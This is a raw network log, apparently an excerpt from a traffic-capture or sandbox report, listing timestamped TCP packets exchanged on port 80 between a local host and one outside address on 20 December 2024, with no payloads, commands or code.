Dec 20, 2024 16:19:45.227252007 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.227452040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.227502108 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.265491962 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.265573025 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.265638113 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.265750885 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.265933990 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.265947104 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.265980959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.266000032 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.266657114 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.266752005 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.266782999 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.266819000 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.267684937 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.267746925 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.267916918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.267978907 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.268604994 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.268659115 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.268773079 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.268857956 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.269642115 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.269685984 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.269870043 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.269917965 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.270667076 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.270719051 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.270747900 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.270922899 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.271600962 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.271682024 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.271723986 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.271723986 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.272583961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.272641897 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.272658110 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.272738934 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.273619890 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.273734093 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.273747921 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.273789883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.274687052 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.274768114 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.274806976 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.274857044 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.275559902 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.275610924 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.275645018 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.275721073 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.276529074 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.276576996 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.276598930 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.276633978 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.277555943 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.277610064 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.277676105 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.277740002 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.278568029 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.278641939 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.278666019 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.278707981 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.279516935 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.279583931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.279648066 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.279687881 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.280494928 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.280522108 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.280544043 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.280556917 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.281414986 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.281527042 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.281538010 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.281585932 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.282407045 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.282478094 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.282497883 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.282548904 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.293418884 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.293484926 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.293771029 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.293946981 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.293960094 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.293973923 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.294007063 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.294007063 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.294892073 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.294962883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.295017004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.295166016 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.295934916 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.295949936 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.296005964 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.296006918 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.296912909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.296962976 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.296998978 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.297086954 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.297836065 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.298036098 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.298849106 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.298861027 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.298902988 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.298913002 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.298950911 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.299005985 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.338684082 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.338745117 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.338766098 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.338819027 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.339155912 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.339212894 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.339246988 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.339339018 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.340171099 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.340255022 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.340383053 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.340763092 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.341125965 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.341165066 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.341198921 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.341295004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.342103004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.342207909 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.342240095 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.342277050 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.343086958 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.343281031 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.343652010 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.343705893 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.344060898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.344171047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.344461918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.344599009 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.344660997 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.344789982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.384327888 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.384341955 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.384418011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.384685040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.384784937 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.384807110 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.384850979 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.385627985 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.385699987 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.386039972 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.386076927 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.386101961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.386178017 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.387104988 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.387150049 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.387157917 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.387197971 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.387993097 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.388153076 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.388204098 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.388251066 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.389183998 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.389259100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.389281034 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.389379978 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.389981985 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.390036106 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.390150070 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.390207052 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.390993118 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.391062021 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.391132116 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.391225100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.391923904 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.392062902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.392065048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.392118931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.392976046 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.393048048 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.393086910 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.393150091 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.393924952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.393965960 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.394027948 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.394092083 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.394910097 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.394973040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.394982100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.395035982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.395888090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.395978928 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.396119118 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.396169901 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.396909952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.396958113 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.396962881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.397094011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.411668062 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.411726952 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.411783934 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.411858082 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.412189960 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.412245989 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.412419081 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.412472010 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.413177013 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.413218975 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.413288116 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.413338900 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.414084911 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.414160013 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.414249897 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.414367914 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.414709091 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.414799929 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.414808035 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.414846897 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.415707111 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.415838003 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.416659117 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.416716099 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.416795969 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.416809082 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.416858912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.416858912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.417716026 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.417790890 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.417990923 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.418055058 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.418653965 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.418715954 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.418736935 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.418776035 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.419589043 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.419666052 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.420213938 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.420269012 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.420517921 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.420651913 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.458893061 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.458990097 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.459115028 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.459213018 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.459415913 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.459580898 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.459584951 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.459636927 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.460352898 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.460529089 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.460572004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.460572004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.461374998 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.461430073 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.461628914 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.461822987 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.462368011 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.462384939 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.462410927 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.462440014 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.463346004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.463406086 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.463617086 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.463721991 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.464319944 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.464335918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.464384079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.464384079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.465269089 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.465471983 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.465512991 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.465564013 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.466325998 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.466337919 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.466382027 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.466382027 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.467251062 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.467329979 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.468852997 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.469023943 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.503662109 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.503746033 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.503789902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.503789902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.504271030 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.504337072 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.504589081 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.504688025 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.505197048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.505275011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.505336046 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.505402088 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.506151915 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.506201982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.506239891 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.506283045 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.507143974 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.507235050 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.507349968 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.507396936 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.508080006 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.508167982 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.508404970 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.508529902 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.509079933 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.509124041 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.509160042 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.509210110 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.510081053 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.510134935 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.510333061 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.510499001 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.511065960 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.511193037 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.511205912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.511233091 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.512043953 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.512202978 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.512274981 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.512326956 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.513171911 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.513241053 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.513271093 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.513374090 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.514317036 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.514415026 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.514452934 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.514530897 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.515166044 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.515211105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.515225887 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.515270948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.515934944 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.515983105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.531815052 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.531939030 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.532198906 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.532232046 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.532417059 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.532429934 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.532475948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.532475948 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:45.533330917 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:45.533387899 CET	49735	80	192.168.2.4	185.156.73.23
